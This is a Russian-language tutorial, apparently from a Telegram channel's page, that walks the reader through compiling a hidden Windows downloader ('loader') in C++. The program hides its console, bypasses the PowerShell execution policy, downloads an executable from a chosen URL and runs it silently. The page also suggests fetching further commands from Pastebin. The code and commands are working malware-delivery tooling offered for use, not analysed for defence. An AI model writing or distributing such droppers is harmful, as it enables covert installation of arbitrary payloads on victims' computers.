Инструкция

Инструкция


Итак, давайте все разберем по этапу:


1) Нужно загрузить вашу программу на файл-обменник,и чтоб ссылка на скачивание была прямой, т.е перейдя по которой сразу начиналось скачивание.

Примерно так: https://server.com/repo/file.exe

(Лучше изменить https на http)

Я же буду использовать гитхаб в качестве файл-обменника.


2) Установить DevC++(если у вас нету компилятора С++).

Тут показанно как: https://www.kpolyakov.spb.ru/school/c/install.htm

Базовые знания в С++ вам пригодятся.

3)Открываем DevC++ и нажимаем на Ctrl+N(создаем новый файл)

И вставляем туда этот код:

#include<windows.h>
int main(){
FreeConsole();
system("powershell -ep bypass -nop -w 1 (New-Object System.Net.WebClient).DownloadFile('ssilka','name.exe')");
system("powershell -ep bypass -nop -w 1 (New-Object -com Shell.Application).ShellExecute('name.exe')");
}


Скажу сразу, код можно уменьшить в 2 раза, отправив большую часть команды на pastebin, и через DownloadString()

Добиться тех же результатов...

Но это, "тестовый" инструктаж, и конечно же будут обновления кода.

Обясню код, читать обязательно!:

#include<windows.h>

Тут мы подключаем

библиотеку windows.h для работы с system() и функцией FreeConsole()

FreeConsole(); эта команда скрывает черную консоль.

system("") передает команды в командную строку.

И да,передаются powershell команды.

Так как powershell команды выполняются на уровне системы, его любят все пентестеры.

Важно!:

В коде есть вот эта строчка:

DownloadFile('ssilka','name.exe')

Он загружает файл из ссылки и сохраняет его как name.exe

Естественно, вместо ssilka указываем нашу ссылку для скачивания.

И если хотите, name.exe можно поменять на другое имя, и даже вписать путь для сохраниения

Например: C:\name.exe

А если вы изменили то поменяйте название и в этой части кода:

...ShellExecute('C:\name.exe')...

Главное,чтоб эта диеректория уже существовала!

(Я очень надеюсь что вы понимаете меня и все что тут происходит)...


4)И все, нажимаем на F9 сохраняем проект, например loader.cpp и код компилится и создается loader.exe файл рядом с loader.cpp.

(Я думаю вопросов с компиляцией кода вопросов не будет, так как это основы и очень просто.)

И все, если запустить loader.exe то он скачает и запустит файл из той ссылки....

Если будут вопросы,а они точно будут, то заходите на наш чат , на которую можно перейти через наш канал @nicky_server





Report Page